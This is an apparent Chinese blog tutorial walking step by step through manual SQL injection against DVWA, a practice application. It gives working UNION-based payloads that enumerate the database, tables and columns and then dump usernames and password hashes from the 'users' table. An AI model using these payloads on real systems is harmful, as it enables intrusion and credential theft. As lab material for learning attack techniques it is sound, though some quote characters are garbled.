SQL注入
步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
1.判断是否存在注入,注入是字符型还是数字型
输入:
1//查询成功:
输入: 1' and '1'='2 //查询失败,返回结果为空:

输入: 1' or '1'='1
// 查询成功:

返回多个结果,说明存在字符型注入 ;
2.猜解SQL查询语句中的字段数
输入: 1' or 1=1 order by 1# //查询成功:

输入 : 1' or 1=1 order by 2# // 查询成功:

输入 1' or 1=1 order by 3# // 查询失败:

说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
这里也可以通过输入union select 1,2,3…来猜解字段数)
输入:
1' union select 1#

输入:1' union select 1,2#

3.确定回显的字段的位置
输入: 1′ union select 1,10# // 查询成功:

说明回显位为 ‘2’ ;
4.获取当前数据库
输入:
1′ union select 1,database() #// 查询成功

说明当前的数据库为dvwa ;
5.获取数据库中的表
输入: 1' or 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()# // 查询当前数据库dvwa 中的表

说明数据库dvwa中一共有两个表 guestbook 与 users ;
6.获取表中的字段名
输入: 1' or 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# // 查询成功:

说明users表中有8个字段,分别是user_idfirst_namelast_nameuserpasswordavatarlast_loginfailed_login;
7.下载数据
输入
:1' or 1=2 union select 1,group_concat(user_id,';',user,';',password) from users# // 查询成功 group_concat( 括号中为表中字段名 ) from 表 ;

465

被折叠的 条评论
为什么被折叠?



